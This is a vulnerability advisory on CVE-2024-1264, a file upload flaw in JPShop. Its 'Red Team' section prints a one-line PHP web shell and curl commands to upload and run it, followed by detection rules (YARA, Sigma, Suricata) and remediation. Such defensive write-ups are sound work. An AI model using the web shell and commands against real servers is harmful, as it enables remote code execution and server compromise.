CVE-2024-1264

Executive Summary

CVE-2024-1264 is a critical unrestricted file upload vulnerability in Juanpao JPShop up to version 1.5.02. The flaw resides in the actionUpdate function of /api/controllers/common/UploadsController.php, where the imgage parameter is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to remote code execution, data theft, or full server compromise. The vulnerability is publicly disclosed with a proof-of-concept (PoC) exploit, and no official patch is available. The CVSS v3.1 base score is 6.3 (Medium), but the actual risk is higher due to the ease of exploitation and lack of authentication requirements.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although the CVSS score is Medium, the public availability of exploit code, the lack of authentication, and the potential for full server compromise elevate the threat level. The EPSS score of 0.0% indicates low exploitation probability currently, but this may change rapidly.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the JPShop e-commerce platform. The actionUpdate method in UploadsController.php handles file uploads via the imgage parameter. The code fails to validate the file type, size, or content, allowing an attacker to upload any file, including PHP web shells. The uploaded file is stored in a web-accessible directory, enabling remote code execution.

Root Cause: The application does not check the file extension or MIME type before saving the uploaded file. Additionally, the file path is not sanitized, potentially allowing directory traversal.

Attack Flow:

1. Attacker sends a POST request to /api/controllers/common/UploadsController.php with a malicious file (e.g., shell.php) in the imgage parameter.
2. The server saves the file to a predictable location (e.g., /uploads/).
3. Attacker accesses the uploaded file via HTTP, executing arbitrary PHP code.

Vulnerable vs. Patched Code

Vulnerable Code (JPShop <= 1.5.02):

// /api/controllers/common/UploadsController.php
public function actionUpdate() {
    $file = $_FILES['imgage'];
    $target_path = "uploads/" . $file['name'];
    move_uploaded_file($file['tmp_name'], $target_path);
    echo "File uploaded successfully.";
}

Patched Code (Hypothetical):

// /api/controllers/common/UploadsController.php
public function actionUpdate() {
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
    $file = $_FILES['imgage'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($extension, $allowed_extensions)) {
        die("Invalid file type.");
    }
    $target_path = "uploads/" . uniqid() . "." . $extension;
    move_uploaded_file($file['tmp_name'], $target_path);
    echo "File uploaded successfully.";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• JPShop instance (<= 1.5.02) accessible over network.
• No authentication required.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send the upload request using curl:

   curl -F "imgage=@shell.php" http://target.com/api/controllers/common/UploadsController.php
   

3. Execute commands:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /api/controllers/common/UploadsController.php with unusual file extensions.
• Look for files with .php, .phtml, .php5 extensions in the uploads directory.
• Check for anomalous HTTP requests containing cmd or exec parameters.

Response:

• Immediately block the IP address of the attacker.
• Remove any unauthorized files from the uploads directory.
• Apply a virtual patch using a WAF rule to block file uploads with non-image extensions.

Indicators of Compromise (IOCs)

• File Paths:
  • /api/controllers/common/UploadsController.php
  • /uploads/shell.php (or similar)
• Network Indicators:
  • POST requests to /api/controllers/common/UploadsController.php with multipart/form-data containing imgage parameter.
  • HTTP requests to /uploads/*.php with cmd parameter.
• Log Entries:
  • PHP error logs showing move_uploaded_file calls.
  • Web server access logs with 200 status for uploaded PHP files.

Detection Engineering

YARA Rule

rule CVE_2024_1264_JPShop_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via CVE-2024-1264"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1264"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $exec_call = "exec("
        $shell_exec = "shell_exec("
    condition:
        $php_tag and any of ($system_call, $exec_call, $shell_exec)
}

Sigma Rule

title: CVE-2024-1264 JPShop Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1264 via file upload
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/controllers/common/UploadsController.php'
        cs-uri-query|contains: 'imgage'
    condition: selection
falsepositives:
    - Legitimate image uploads (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1264 JPShop Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/controllers/common/UploadsController.php"; http_uri; content:"imgage"; http_client_body; fileext:".php"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access via .htaccess or firewall rules.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block file uploads with non-image extensions.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• Upgrade to a patched version of JPShop once available.
• Implement proper file validation (extension, MIME type, content scanning).
• Store uploaded files outside the web root and serve them via a script that enforces access controls.

Workaround:

• Modify the UploadsController.php file to include file type validation as shown in the patched code example.

Valters IT